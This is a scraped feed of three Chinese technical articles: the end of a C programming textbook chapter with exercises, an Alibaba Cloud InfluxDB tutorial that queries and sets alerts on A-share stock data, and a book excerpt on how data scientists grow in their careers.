        1)编辑源程序。选择一种C语言开发工具软件(IDE),输入编写好的程序代码,称之为源程序,它以文件的方式存在,文件的扩展名为“.c”。
        2)编译源程序。为了使计算机能执行高级语言源程序,必须把源程序转换为二进制形式的目标程序,这个过程称为编译源程序。
        编译是以源程序文件为单位分别进行的,每一个源程序文件对应生成一个目标文件,目标文件的扩展名为“.obj”。
        编译过程中对源程序的全部内容进行检查,例如检查程序中关键字的拼写是否正确,根据程序的上下文检查语法是否有错等,编译结束后,系统显示所有的编译出错信息。
        一般编译系统的出错信息有两种:一种是错误(error)信息,这类错误出现后,系统不生成目标文件,必须改正后重新编译;另一种是警告(warning)信息,是指一些不影响程序运行的不合理现象或轻微错误。例如,程序中定义了一个变量,却一直没有使用,出现这类警告信息,系统仍可以生成目标文件。
        3)连接目标文件。编译结束,得到一个或多个目标文件,此时要用系统提供的“连接程序”(linker)将一个程序的所有目标文件和系统的库文件以及系统提供的其他信息连接起来,最终形成一个可执行的二进制文件,可执行文件的扩展名为“.exe”。
        4)运行程序。运行最终形成的可执行文件,得到运行的结果。
        5)结果分析。分析程序的运行结果,如果发现结果不对,应检查程序或算法是否有问题,修改程序后再重复上面的步骤。
        C语言程序的开发步骤如图1-2所示。
        image.png

        图1-2C语言程序的开发步骤

        小结

        本章首先叙述了程序设计的基本概念以及C语言产生和发展的历史过程,然后与其他高级语言进行对比,列举了C语言的特点,再通过两个简单的C程序实例,描述了C语言程序的基本组成和结构特点,最后介绍了C语言程序开发各个步骤的内容。
        通过本章的学习,读者应该对程序设计的概念有初步的认识,对C语言总体结构和开发步骤有初步的了解。建议学习本章内容后,尽快在计算机上编译、运行一个简单的C语言程序。在今后的学习中,读者会发现有些问题用文字叙述很难领会,但上机编程后,很容易理解,即所谓“在编程中学习编程”。

        习题

        一、简答题

         简要回答下列问题。

        1. 程序的定义是什么?程序主要由几部分组成?
        2. C语言的主要特点有哪些?
        3. C语言程序是由哪些部分组成的,各部分的作用是什么?

        二、选择题

         以下各题在给定的四个答案中选择一个正确答案。

        1. 以下叙述正确的是(  )。
           A. C语言允许直接访问物理地址,可以直接对硬件进行操作

         B. C语言程序不用编译,即可被计算机识别运行
         C. C语言不允许直接访问物理地址,不可以直接对硬件进行操作
         D. C语言程序只需编译,不需连接即可被计算机运行

        1. 在一个C程序中(  )。
           A. main函数出现在所有函数之前,C程序不一定都有main函数

         B. main函数可以在任何地方出现,一个C程序必须有且仅有一个main函数
         C. main函数必须出现在所有函数之后,一个C程序只能有一个main函数
         D. main函数出现在固定位置,一个C程序可以有多个main函数

        三、填空题

        1. C语言开发工具直接输入的程序代码是  A  文件,经过编译后生成的是  B  文件, 经过连接后生成的是  C  文件。
        2. C语言源文件的后缀是  A  ,经过编译后生成的文件的后缀是  B  ,经过连接后生成的文件的后缀是  C  

        四、编写程序题

         输入下面的程序,上机调试并运行。

        #include  <stdio.h>
        int main( )
        {
           float  r, s;
           r=15.5;
           s=2*3.14*r;
           printf("r=%4.2f, s=%4.2fn",  r,  s);
           return 0;
        }
        ]]>
        阿里云InfluxDB®教你玩转A股数据 Fri, 02 May 2025 09:39:04 +0800 阿里云InfluxDB®目前已经商业化,专注于处理高写入和查询负载的时序数据,用于存储大规模的时序数据并进行实时分析,包括来自DevOps监控、车联网、智慧交通、金融和IOT传感器数据采集。
        本文首先介绍时序数据库的发展,然后具体介绍阿里云InfluxDB®的功能。由于金融中股票交易具有高频和时间属性,非常符合InfluxDB的应用场景,最后提供了一个在阿里云InfluxDB® 创建的TIG(Telegraf/InfluxDB/Grafana)实例信息,采集了部分沪深股票交易信息,供用户登陆操作实践,更深入地了解时序数据和阿里云InfluxDB®。

        时序数据

        时序数据发展

        时序数据发展到当下,主要经历了三个阶段:基于关系型数据库的存储,基于通用大数据的存储系统,以及垂直型时序数据库系统。每个阶段均出现代表性产品,如RRDTool, OpenTSDB, InfluxDB等。

        • 基于关系型数据库存储:这类系统处理的数据模型比较单一,缺乏针对时间的特殊优化,单机容量受限,处理时序数据的效率相对不高;
        • 基于通用大数据存储:伴随着大数据和Hadoop的发展,借助HBase等存储系统,利用时序的特性规避部分通用存储的劣势,在数据模型设计方面做了很多的改进,但时序的发展与存储发展路线不统一,缺乏定制化,往往会受制于底层存储,如索引技术,查询过滤机制等。
        • 垂直型时序数据库:随着kubenetes, 微服务,IOT市场的崛起,针对时序数据的存储产品慢慢涌现,如InfluxDB专门针对时序的TSM存储引擎,Gorilla压缩,以及面向时序的窗口计算函数p99等。
          image

        当前时序数据库呈现百家争鸣的状态,传统数据库朝着分布式方向发展,如TimeScaleDB;OpenTSDB紧跟大数据的存储计算分离架构;InfluxDB TICK集成数据采集、分析和告警等。上图是DB Engine给出的关于时序数据库的排名,InfluxDB位于最受喜爱的时序数据库行列,也是阿里云将其开源托管的重要原因。

        时序数据模型

        下面将针对于InfluxDB数据模型来介绍时序数据。
        image

        • 时间线(time series): 测量值(measurement)与标签(tagset)的组合
        • 时间点(time series point): 一个具体的时间戳下,某条时间线中,某些field的值。

          时间线用于在写入和查询时对数据做快速匹配,关联时序数据索引,因此时间线的膨胀会引起时序索引结构膨胀,占用过多内存空间和匹配效率降低。在股票交易数据结构中,由于股票代码(code), 股票名称(name), 所属行业(industry)并不经常改变,因此在模型设计的过程中,可以将这些设为tagkey;成交价格(price),成交手(volume),成交金额(amount)这些要记录的值随时间会不断变动,我们将其放入field中,进行数值存储和函数计算。上图中:

        时间线:

        tick_data,industry=银行,name=平安银行,code=000001.SZ

        时间点:

        tick_data,industry=银行,name=平安银行,code=000001.SZ price=10.86,volume=2295,amount=2492370 2015-09-23T09:25:01Z
        tick_data,industry=银行,name=平安银行,code=000001.SZ price=10.85,volume=128,amount=138847 2015-09-23T09:30:32Z

        时序数据写入

        关于阿里云InfluxDB®实例的购买和时序数据的写入具体可以参考阿里云官方文档
        image
        如上图所示的存储结构中,为了更好管理历史数据,InfluxDB推出了数据保留策略(Retention Policies),用来定义数据的保留时间。数据保留策略(RP) 用来定义数据在InfluxDB中存放的时间,或者定义保存某个期间的数据。在阿里云InfluxDB®管理控制台,我们可以自定义历史数据的保留时长。
        下面为采集A股日成交(daily)和日行情(tick_data)的时间线情况:

        > use stock
        Using database stock
        > show series limit 10
        key
        ---
        daily,area=上海,industry=IT设备,list_date=19901219,name=方正科技,symbol=600601,code=600601.SH
        daily,area=上海,industry=IT设备,list_date=20170607,name=恒为科技,symbol=603496,code=603496.SH
        daily,area=上海,industry=专用机械,list_date=20150320,name=创力集团,symbol=603012,code=603012.SH
        daily,area=上海,industry=专用机械,list_date=20150527,name=华铭智能,symbol=300462,code=300462.SZ
        daily,area=上海,industry=专用机械,list_date=20150630,name=沃施股份,symbol=300483,code=300483.SZ
        daily,area=上海,industry=专用机械,list_date=20160607,name=上海沪工,symbol=603131,code=603131.SH
        daily,area=上海,industry=专用机械,list_date=20160812,name=上海亚虹,symbol=603159,code=603159.SH
        daily,area=上海,industry=专用机械,list_date=20161018,name=古鳌科技,symbol=300551,code=300551.SZ
        daily,area=上海,industry=专用机械,list_date=20170113,name=至纯科技,symbol=603690,code=603690.SH
        daily,area=上海,industry=专用机械,list_date=20170314,name=克来机电,symbol=603960,code=603960.SH
        > use tick
        Using database tick
        > show series limit 10
        key
        ---
        tick_data,area=上海,industry=区域地产,list_date=19961210,name=荣丰控股,symbol=000668,code=000668.SZ
        tick_data,area=上海,industry=区域地产,list_date=19970925,name=三湘印象,symbol=000863,code=000863.SZ
        tick_data,area=云南,industry=中成药,list_date=19931215,name=云南白药,symbol=000538,code=000538.SZ
        tick_data,area=云南,industry=全国地产,list_date=19961205,name=美好置业,symbol=000667,code=000667.SZ
        tick_data,area=云南,industry=房产服务,list_date=19940202,name=我爱我家,symbol=000560,code=000560.SZ
        tick_data,area=云南,industry=机械基件,list_date=19990415,name=云内动力,symbol=000903,code=000903.SZ
        tick_data,area=云南,industry=铜,list_date=19980602,name=云南铜业,symbol=000878,code=000878.SZ
        tick_data,area=云南,industry=铝,list_date=19980408,name=云铝股份,symbol=000807,code=000807.SZ
        tick_data,area=内蒙,industry=化工原料,list_date=19970131,name=远兴能源,symbol=000683,code=000683.SZ
        tick_data,area=内蒙,industry=煤炭开采,list_date=19970606,name=平庄能源,symbol=000780,code=000780.SZ

        函数分析

        InfluxDB提供了丰富的计算函数帮助我们进一步挖掘数据的价值。InfluxQL函数分为四大类:聚合(aggregate)、选择(select)、转换(transform)和预测(predict)。

        聚合

        阿里云InfluxDB®支持的聚合函数有:COUNT()DISTINCT()INTEGRAL()MEAN()MEDIAN()MODE()SPREAD()STDDEV()SUM()
        查询某支股票2019-10-21日共成交了多少手:

        > select sum(volume) from tick_data where code='000001.SZ' and time >= '2019-10-21T00:00:00Z' and time <= '2019-10-21T23:59:59Z'
        name: tick_data
        time                 sum
        ----                 ---
        2019-10-21T00:00:00Z 945952

        查询某支股票2019-10-21日每小时的成交额(元):

        > select sum(amount) from tick_data where code='000001.SZ' and time >= '2019-10-21T00:00:00Z' and time <= '2019-10-21T23:59:59Z' group by time(1h)
        name: tick_data
        time                 sum
        ----                 ---
        2019-10-21T00:00:00Z
        2019-10-21T01:00:00Z
        2019-10-21T02:00:00Z
        2019-10-21T03:00:00Z
        2019-10-21T04:00:00Z
        2019-10-21T05:00:00Z
        2019-10-21T06:00:00Z
        2019-10-21T07:00:00Z
        2019-10-21T08:00:00Z
        2019-10-21T09:00:00Z 363351603
        2019-10-21T10:00:00Z 531834212
        2019-10-21T11:00:00Z 88167896
        2019-10-21T12:00:00Z
        2019-10-21T13:00:00Z 207135153
        2019-10-21T14:00:00Z 372167894
        2019-10-21T15:00:00Z 26619332
        2019-10-21T16:00:00Z
        2019-10-21T17:00:00Z
        2019-10-21T18:00:00Z
        2019-10-21T19:00:00Z
        2019-10-21T20:00:00Z
        2019-10-21T21:00:00Z
        2019-10-21T22:00:00Z
        2019-10-21T23:00:00Z

        选择

        阿里云InfluxDB®支持的聚合函数有:BOTTOM()FIRST()LAST()MAX()MIN()PERCENTILE()SAMPLE()TOP()
        查询某支股票2019-10-21日P99的成交价格:

        > select percentile(price, 90) from tick_data where code='000001.SZ' and time >= '2019-10-21T00:00:00Z' and time <= '2019-10-21T23:59:59Z'
        name: tick_data
        time                 percentile
        ----                 ----------
        2019-10-21T10:27:42Z 16.91

        随机对某支股票2019-10-21日9:00am~3:00pm成交价格进行平均采样:

        > select sample(price, 10) from tick_data where code='000001.SZ' and time >= '2019-10-21T09:00:00Z' and time <= '2019-10-21T15:00:00Z'
        name: tick_data
        time                 sample
        ----                 ------
        2019-10-21T10:27:18Z 16.93
        2019-10-21T11:02:48Z 16.82
        2019-10-21T11:11:36Z 16.87
        2019-10-21T13:19:21Z 16.78
        2019-10-21T13:22:24Z 16.77
        2019-10-21T13:41:09Z 16.78
        2019-10-21T13:44:18Z 16.78
        2019-10-21T14:19:15Z 16.83
        2019-10-21T14:19:21Z 16.83
        2019-10-21T14:22:30Z 16.85

        转换

        阿里云InfluxDB®支持的转换函数有:ABS()ACOS()ASIN()ATAN()ATAN2()CEIL()COS()CUMULATIVE_SUM()DERIVATIVE()DIFFERENCE()ELAPSED()EXP()FLOOR()HISTOGRAM()LN()LOG()LOG2()LOG10()MOVING_AVERAGE()NON_NEGATIVE_DERIVATIVE()NON_NEGATIVE_DIFFERENCE()POW()ROUND()SIN()SQRT()TAN()
        计算某支股票2019-10-21日每15分钟成交价格的变化:

        > select derivative(mean(price)) from tick_data where code='000001.SZ' and time >= '2019-10-21T00:00:00Z' and time <= '2019-10-21T23:59:59Z' group by time(15m)
        name: tick_data
        time                 derivative
        ----                 ----------
        2019-10-21T09:30:00Z 0.18167224080267985
        2019-10-21T09:45:00Z 0.049361092530652684
        2019-10-21T10:00:00Z 0.13140000000000995
        2019-10-21T10:15:00Z 0.10268372352284771
        2019-10-21T10:30:00Z 0.02356981183064022
        2019-10-21T10:45:00Z -0.02005673170050315
        2019-10-21T11:00:00Z -0.056542594898782994
        2019-10-21T11:15:00Z 0.02164948213387774
        2019-10-21T11:30:00Z -0.0037370242214223026
        2019-10-21T13:00:00Z -0.009116331096188665
        2019-10-21T13:15:00Z -0.026667201136095997
        2019-10-21T13:30:00Z -0.010301478953412158
        2019-10-21T13:45:00Z 0.03505827505824399
        2019-10-21T14:00:00Z 0.029964323811768168
        2019-10-21T14:15:00Z 0.012986349675813358
        2019-10-21T14:30:00Z 0.02997171129489118
        2019-10-21T14:45:00Z 0.026839533796877646
        2019-10-21T15:00:00Z -0.013153526970953067

        计算某支股票2019年10月的月K线情况:

        > SELECT moving_average(last("close"), 30) FROM "daily" WHERE ("code" = '000001.SZ') AND time >= '2019-09-01T00:00:00Z' and time <= '2019-10-31T00:00:00Z' GROUP BY time(1d) fill(previous)
        name: daily
        time                 moving_average
        ----                 --------------
        2019-10-01T00:00:00Z 14.985999999999994
        2019-10-02T00:00:00Z 15.023999999999994
        2019-10-03T00:00:00Z 15.066999999999991
        2019-10-04T00:00:00Z 15.105333333333325
        2019-10-05T00:00:00Z 15.13899999999999
        2019-10-06T00:00:00Z 15.16499999999999
        2019-10-07T00:00:00Z 15.19099999999999
        2019-10-08T00:00:00Z 15.237333333333321
        2019-10-09T00:00:00Z 15.289333333333323
        2019-10-10T00:00:00Z 15.345666666666656
        2019-10-11T00:00:00Z 15.420666666666655
        2019-10-12T00:00:00Z 15.491666666666655
        2019-10-13T00:00:00Z 15.562666666666654
        2019-10-14T00:00:00Z 15.64733333333332
        2019-10-15T00:00:00Z 15.730666666666654
        2019-10-16T00:00:00Z 15.808666666666655
        2019-10-17T00:00:00Z 15.890666666666654
        2019-10-18T00:00:00Z 15.960666666666652
        2019-10-19T00:00:00Z 16.01633333333332
        2019-10-20T00:00:00Z 16.05533333333332
        2019-10-21T00:00:00Z 16.10699999999999
        2019-10-22T00:00:00Z 16.14299999999999
        2019-10-23T00:00:00Z 16.177666666666656
        2019-10-24T00:00:00Z 16.21899999999999
        2019-10-25T00:00:00Z 16.241333333333323
        2019-10-26T00:00:00Z 16.264999999999993
        2019-10-27T00:00:00Z 16.282333333333327
        2019-10-28T00:00:00Z 16.29966666666666
        2019-10-29T00:00:00Z 16.316999999999997
        2019-10-30T00:00:00Z 16.344666666666665
        2019-10-31T00:00:00Z 16.372333333333334

        预测

        阿里云InfluxDB®支持的预测函数有:HOLT_WINTERS()
        HOLT_WINTERS采用季节性方法返回N个预测的Field Value。HOLT_WINTERS可用于:

        • 预测时间什么时候会超过给定的阈值
        • 将预测值与实际值进行比较,检测数据中的异常
          对降雨量和气温的预测我们常常可以采用此方法,由于股票交易周期性不明显,在此便不再赘述。

        报表展示

        Grafana接入阿里云InfluxDB®可以参考文档,下图在Grafana上展示了某支股票近5年的交易情况:
        image

        数据告警

        Grafana告警

        如下图所示,Grafana支持简单的数据告警,用户可以根据需求自定义告警规则:
        image

        Kapacitor告警

        Kapacitor作为TICK生态中的数据处理框架,用于告警、ETL(Extract-Transform-Load)和检测异常。主要特性包含:

        • 既可以处理流数据(streaming data),也可以处理批量数据(batch data)
        • 定期从InfluxDB查询数据,执行InfluxQL支持的函数,并将处理结果存回InfluxDB
        • 支持添加用户自定义的函数检测异常
        • 与HipChat、OpsGenie、Alerta、Sensu、PagerDuty和Slack等集成

          下面的price.tick脚本以batch的方式处理某支股票的成交价格并设置告警提示:

        batch
            |query('''
                SELECT max(price) AS mprice
                FROM "tick"."rp1"."tick_data"
                WHERE "code" = "000001.SZ"
            ''')
                .period(1d)
                .cron('*/5 * * * *')
            |alert()
                .warn(lambda: "mprice" >= 18.5)
            |influxDBOut()
                .database('alert')
                .measurement('price')
                .tag('kapacitor', 'true')

        运行kapacitor define max-price -tick price.tick -type batch -dbrp tick.rp1 和kapacitor enable max-price便会每5分钟以batch的方式获取股票最高成交价格并告警提示,在alert中可以添加email或者hook推送报警。

        总结

        目前集成TIG(Telegraf/InfluxDB/Grafana)生态的阿里云InfluxDB®已经上线,用户可以在阿里云官网直接购买。当前我们采集了一些沪深股票的日线、历史交易日的分笔数据,以及实例运行主机的cpu、磁盘、内存监控,提供展示Demo供用户实践更好地了解时间序列数据和阿里云InfluxDB®。

        image

        参考文献

        1. 浅谈时序数据库那些事
        2. TSDB for InfluxDB®与自建InfluxDB对比优势
        3. 阿里云时序数据库InfluxDB®主页
        4. 5分钟快速完成系统监控搭建实践
        ]]>
        带你读《增强型分析:AI驱动的数据分析、 业务决策与案例实践》之一:数据科学家的成长之路 Fri, 02 May 2025 09:39:04 +0800 数据分析与决策技术丛书
        点击查看第二章
        点击查看第三章
        增强型分析:AI驱动的数据分析、
        业务决策与案例实践
        image.png

        彭鸿涛 张宗耀 聂磊 著

        第1章

        数据科学家的成长之路

        一次偶然的机会,有一位正在深造机器学习方面学位的朋友问了笔者一个问题:如何成为一名合格的数据科学家?这个问题回答起来亦简亦难。简单回答的话可以拿出标准答案,坐而论道地说需要编程能力、数据操作能力、数学基础、算法库应用能力、算法调优能力与业务对接的能力等。但是这样的答案笔者其实是不满意的,因为有太多的技术意味。做数据分析、将数据的价值发挥出来,是一个“工程 + 科学”的过程,只要在这个过程中的任意一处找到自己的位置,就无谓数据科学家这种称号了。
        大数据时代方兴未艾,人工智能时代又呼啸而至。人们在很多场合下能看到诸多新应用,加之整个社会都在热切地拥抱人工智能技术,使得大家都相信人工智能时代势必会改变社会的方方面面,笔者对此也深信不疑。在人工智能时代,将数据的价值发挥出来的要素有资金、数据、平台、技术、人员等。数据科学家是人员要素中最为重要的部分,是需要企业非常重视的。在数据科学家自身发展的方向、组织结构,以及如何体现出价值等方面,相信大家肯定会有很多想法。笔者从十几年前加入IBM SPSS进入数据分析领域开始,至今担任过分析软件工具的开发者、解决实际业务问题的数据挖掘者、数据驱动业务以及数字化转型的咨询者等多种角色。反观这些年的成长路径,将一些较为重要的经验做一个粗浅的总结,抛砖引玉,以供读者参考。

        1.1算法与数据科学家

        我们随便打开一些教科书,会发现机器学习、人工智能、数据挖掘等经典领域所谈论的很多知识点是共通的,比如从历史数据中学习到事物模式并用于对未来做出判断,是机器学习中的重要内容,也是人工智能的重要方面,更是数据挖掘的重点内容。
        现在有一个很时髦的说法,认为机器学习是比数据挖掘更为高深的学科,实现人机对话那肯定是人工智能的范畴。其实,从一个更为宏观的视角来看的话,这几个学科都是在将数据的价值通过算法和算法的组合(数据分析的流程)发挥出来,没有一个清晰的标准说某类算法必须属于人工智能范畴、某类算法必须属于机器学习的范畴。

        1.1.1数据科学、人工智能、机器学习等

        有国外的学者试图给出一个机器学习、数据科学、人工智能等时髦名词之间关系的示意图,如图1-1所示,我们发现,这些学科间的关系可以说是交缠不清。
        image.png

        图1-1数据科学相关的学科之间的关系

        笔者也就这些学科之间的关系进行了深入探索,查询了很多的资料,发现图1-1的中间部分,其实是来自SAS在1998年提供的数据分析的课程。除此之外,很少有人能将它们的关系说清楚,因为这本来就说不清楚。所以,对上图,读者只当其是一个参考即可。
        重点是图1-1所表达的含义:这些技术都是围绕“问题解决” →“分析” →“策略” →
        “领域知识” →“沟通” →“表达” →“探索”等问题来展开的,而这些问题都是人们在认识世界、解决问题时所涉及的方面。所以,本节采用图1-1想表达的含义也是如此:计算机的技术在迅猛发展,现在很多的技术都可以融合使用来解决复杂问题了;对于数据科学相关的这些技术,很多方面都是通用的。

        1.1.2室内活动还是室外活动

        数据科学家是个含义较广的名词,人们往往也不会太多在意他们所从事的具体工作有什么不同,习惯将从事算法设计开发、在客户现场直接应用数据分析工具解决问题的人都称为数据科学家。这样的划分其实无可厚非。但是若将算法看作成品,则可以将数据科学家分为室外(out-house)和室内(in-house)两种角色。所谓室内数据科学家关注具体算法的设计、实现。比如,在MapReduce的计算方式下如何实现分层聚类算法。而室外数据科学家,也就是数据挖掘者,他们一般不需要关注具体算法和工具的实现,他们的职责是将客户的需求翻译为具体工具能解决的工作流程,并应用合适算法能得出有意义的结论。图1-2比较形象地对比了两种科学家的不同。
        image.png

        图1-2室内室外两种数据分析人员职责对比

        现在还有一种习惯就是将室内数据科学家称为算法工程师,而对于室外数据科学家则称之为数据科学家。我们大可不必纠结于这些名称的不同,只要对他们的职责有不同的认识即可。室外数据科学家,在长期的项目过程中,需要与业务人员有非常深入的沟通才能得出有意义的数据分析结果。所以,相对于数据模型而更加看重业务的需求和特点,这是室外数据科学家的基本素养。本书所谓的数据科学家是指所谓从事室外活动的数据分析者。

        1.2数据科学家不断成长的几个阶段

        现在移动端各种App百花齐放,这已经使得信息的传播没有任何的限制,人们在不自觉的过程其实已经阅读了大量的自己感兴趣的文章。若对机器学习比较感兴趣,相信人们已经看到了很多非常炫酷的机器学习的应用,如人脸识别的精度已经提高到一个非常高的水平、大量智能问答机器人的部署已经替代了不知多少呼叫中心的员工等。
        显而易见,这些应用绝不是单靠一个算法就能解决的,注定是平台、算法、业务等要素的综合应用才能产生这样的效果。在应用数据分析时已经基本形成一个共识,就是数据分析者要对业务有一定的了解,才能保证产生较好的结果。
        Gartner很早就将数据分析能力分成了4种(如图1-3所示),描述性分析(Descriptive Analysis)是在回答“过去发生了什么”,是了解现状的有力手段;诊断分析(Diagnostic Analysis)是寻找“为什么会是这样”的方法;预测分析(Predictive Analysis)是在回答“将来会是怎样”;Prescriptive Analysis则是说“基于现状、预测等结果,我如何选择一个较优的决策得到期望的结果”。Business Intelligence的核心能力是解决描述分析和诊断分析。人们常说的预测模型(包括传统的随机森林、GBT等,还包括深度学习的常见算法如CNN等)、聚类模型、关联分析等都属于预测分析范畴。利用凸优化、马尔可夫等方法从众多的决策选项中寻求最优决策,则属于Prescriptive Analysis的范畴,重点解决最优决策的问题。
        image.png

        图1-3四种分析能力划分(Gartner)

        在图1-3中,分析之后,人们经验、业务的输入(Human Input)随着分析手段的提高而减少,这是因为Prescriptive Analysis在分析过程中已经将这些因素充分地引入。比如,预测客户流失的模型能够输出“哪些客户将要流失”的名单,但是并不会输出“OK,企业应该采用何种决策来挽留”,是应该给个折扣,还是办一张会员卡?这些还是需要人们进行业务决策的输入。而Prescriptive Analysis则会分析折扣和会员卡哪种方式既能挽留客户又能使得企业的收益较高,但是这些决策(会员卡和折扣)也是需要人们输入后才能进行分析。所以“通过数据分析的手段发挥数据价值”的过程,没有业务输入是绝对行不通的。所以,笔者也认为数据科学家绝不是仅仅精通算法即可,还需要对业务一直保持热情,不断思考如何发挥数据分析的业务价值。我们需要从技能、效果、工作内容、工作方法等多个层面来扩展相关的能力,这才能发挥较大的价值。总之,如果数据科学家仅仅只是被动地考虑用何种算法满足业务部门所提出的要求的话,是远远不够的。
        如果读者有志于成为一个数据科学家,或者已经是一个数据科学家,类似于职场的职业路径规划,数据科学家的成长路径可以是什么?如何不断成长?相信大家按照自己的兴趣都有不同的理解。若数据科学家一直致力于“发挥数据的价值”这条主线,那么笔者认为从价值的大小上可以分为算法、用法、业务、战略4个层面(如图1-4所示),数据科学家也可以沿着这条路径来成长。
        从图1-4中可以看到不同层面的数据科学家的职责和作用是不同的,4个层次也是数据科学家成长的不同阶段。
        image.png

        图1-4数据科学家成长的4个阶段

        1.2.1算法——如何构建数据分析模型

        人们总是津津乐道各种时髦的算法,感叹算法的发展使得人工智能有了长足的进展。比如,人们看到机器可以精准地识别人脸、机器可以作诗、机器可以识别图片内容并“说出”符合其内容的文字描述,也热衷于紧跟最新的技术发展来做一些新颖的应用。这是一个非常好的趋势,可以促进人工智能的相关产业发展。然而,人类已经发明的算法远不仅仅如此。若读者一直在从事数据分析的相关工作,会发现其实能够解决实际业务问题的算法非常多,有很多也是简单直接的。比如,找到潜在的价值客户,既可以通过响应预测的模型,也可以通过聚类分析的模型,还可以通过社交网络分析的模型来找到。构建这些模型所需要的相关知识也需要体系化地学习、不断积累才能真正满足实际的业务需求。
        在很多数据挖掘的资料中都会把算法分为有监督的学习、无监督的学习等类别,每个类别下各自的算法又有不同。比如聚类算法属于无监督的学习范畴,而能够做类别判断或回归的算法都属于有监督的学习范畴。在实际使用时,需要针对需求灵活应用,如可以先用决策树算法生成预测模型,然后分析决策树的分支来细分客群。只有对这些算法有一个体系化的学习,才能达到灵活应用的目的。
        超参数(Hyperparameter)是在给定数据集的情况下,确定一组参数组合能使得模型性能、泛化能力达到较优。每个算法在调试超参数的过程中,都有一些与算法特征相关的普遍规律,如随机森林算法中决策树的个数、决策树的深度等,一般是需要预先被设定和关注的。基于随机森林中每棵树应当是一个弱分类器的原理,决策树的深度应该很小才能避免过拟合。目前有Grid Search等工具能够在不同参数组合下尝试找出一个合适的超参数,替代人们不断进行手工尝试的过程。但是不论如何,设置算法参数时总有一些经验总结可以在后来的应用中被复用。
        在深刻了解算法原理、算法体系的基础上,掌握参数调优的技能是一个数据科学家的基本能力。不论是对初学者还是有一定经验的从业者来说,这都是一个需要不断学习和积累的基本任务。

        1.2.2用法——如何回头看模型

        在很多情况下,当数据科学家花费大量时间和精力构建出模型后,兴高采烈地试图交给业务人员进行使用时,往往会遇到一个有趣的情况:业务人员听不懂你对高深算法的解释,甚至不在乎你对数据的各种费心处理,他们只关心实际的问题,如模型到底效果如何?
        在很多情况下,模型构建完成后需要对模型进行验证。比如训练时采用截止到3月的数据,而模型部署是在7月,所以需要数据科学家验证截止到6月的情况下,模型的实际效果能达到什么程度。这时,我们除了需要通过新数据计算模型性能指标(如提升度、准确性、稳定性等)外,还需要计算模型实际业务结果会是怎么样,能带来多少收益或能避免多少损失(如图1-5所示)。

        image.png

        图1-5 以简单明了的方式来讨论模型使用的预期价值

        数据科学家除了要对模型性能指标熟稔于心外,还需要能够表达清楚模型真正的实际价值。所以,在第一步模型构建完成后,应用两套指标来衡量是比较可取的做法——模型性能指标是从数学角度说明模型优劣;业务指标是从模型应用的业务结果来评价其价值。
        在现实中,人们往往不好准确把握模型的真实业务价值,在实际应用后通过数据统计才能有结论。但是这一点都不妨碍模型部署前的估算:按照目前模型的性能指标,估计在第一次给定客户数的情况能有多少人购买,大致的营业额会是多少。采用估算还是采用事后统计,都是用以说明模型业务价值的手段,可以灵活应用。数据科学家要像重视模型性能指标的计算一样重视模型所带来的业务指标的计算。
        总体来讲,数据科学家不能将自己的工作范围只框定在纯粹建模,需要“抬头看”和“睁眼看”业务价值。

        1.2.3业务——如何产生更大价值

        业务问题的解决,可以从一处痛点开始突破,也可以按照体系化的方法整体解决。比如,银行对理财产品的营销,若只关注具体产品的销售,则简单的产品响应预测模型即可解决;若只关注一批产品的销售,则也可以通过构建多输出预测模型(我们在后面的章节中重点介绍)预测每一个产品的购买概率来生成推荐列表;若关注客户旅程地图(Customer Journey Map)而确定营销时机,则需要一批模型;若关注客户体验的提升,需要的就不是一批模型,而是一个体系化的平台加大量模型才能达到预期效果。
        大多数情况下,数据科学家应当在具体的业务背景下展开工作。比如,若业务部门按照客户旅程地图的方法来分析客户特征、了解客户需求、并适时推荐产品(如图1-6所示),则数据挖掘的模型是服务于一个个业务场景,在整体客户关系管理的框架下发挥价值的。
        数学科学家的工作需要深度融入业务,甚至引领数据驱动的业务发展。此时,数据科学家的定位不应该仅仅是构建模型者,还应该是数据驱动业务这种新模式的搭建者。这种角色变化就要求数据科学家深刻理解具体的业务、新的数据驱动模式的运作方式,围绕数据驱动模式而展开各种活动的意义。
        image.png

        图1-6以客户旅程地图为例说明不同的业务场景需要相应的模型

        在这种情况下,数据科学家在构建模型时需要明确:该模型在数据驱动业务的新模式中在哪个阶段发挥什么作用?如何构建一个模型组来协同工作?有了这些模型后数据驱动业务模式能够做到什么程度?

        1.2.4战略——如何更广

        数字化变革是目前几乎所有企业都无法回避的任务。企业由于所处行业、自身特点等原因,需要量身定制数字化转型的战略。大型企业需要选择发展重点作为突破方向,在转型过程中既要做好技术基础,也需要大力推行敏捷的方法,同时要对人们的观念、组织内的流程等方面做出更新(如图1-7所示)。
        image.png

        图1-7一个量身定制的数字化转型路线图示例

        资深数据科学家或首席数据科学家所担负的职责不应该仅仅是完成目前安排的任务,或者去做一些博人眼球的所谓智能应用。其还应该深度参与企业数字化转型的战略制定、计划安排、引领加速器项目等工作,因为资深数据科学家最应该懂得数据的价值如何发挥、能够发挥到什么程度。
        对于大型企业而言,数字化转型的任务是艰巨的,不过众多行业已经或多或少地开始了相关的行动。笔者由于工作关系也深入参与到了大型金融机构数字化转型的咨询工作,深刻感触到了企业在进行数字化转型时的困难。这使得笔者更加认为让真正懂得如何发挥数据价值的人员按照加速器的方式来推动数字化转型进程是至关重要的。

        1.3数据科学家的工作模式与组织结构

        数据科学家需要与业务专家一起工作才能发挥最大价值。实际工作中两种角色如何配合,取决于是采用业务驱动的模式还是数据驱动的模式。

        1.3.1数据驱动还是业务驱动

        业务驱动的特点是业务人员主导数据分析需求的提出、结果的应用,在业务中应用数据洞察;而数据驱动的特点是更看重主动应用数据分析手段,从数据洞察发起业务、改善业务,当然在业务执行时也需要广泛应用数据洞察。在较新的业务领域采用数据驱动比较适合,已有复杂业务则采用业务驱动较好。
        然而从自身能力的发展、数据驱动逐渐成为主要的工作模式的情况来看,数据科学家需要思考如何将数据驱动的模式做得更好,并且愿意承担更多责任。所以,除了算法、用法等基本技能,还需要考虑如何改善业务。
        图1-8所示的职责占比只是示意,其实最核心的是由哪种角色来主导,在工作中也未见得业务专家不能主导数据驱动的模式。从业务结果的角度来看,所谓业务驱动和数据驱动只是到达一个既定目标时不同的工作方式而已。在实际的业务中也不会分工非常明确,即不会限定业务人员只能做什么或数据科学家只能做什么,只有相互无缝协作才是最佳的工作模式。
        image.png

        图1-8业务专家与数据科学家的两种配合方式

        1.3.2数据科学家团队的组织结构

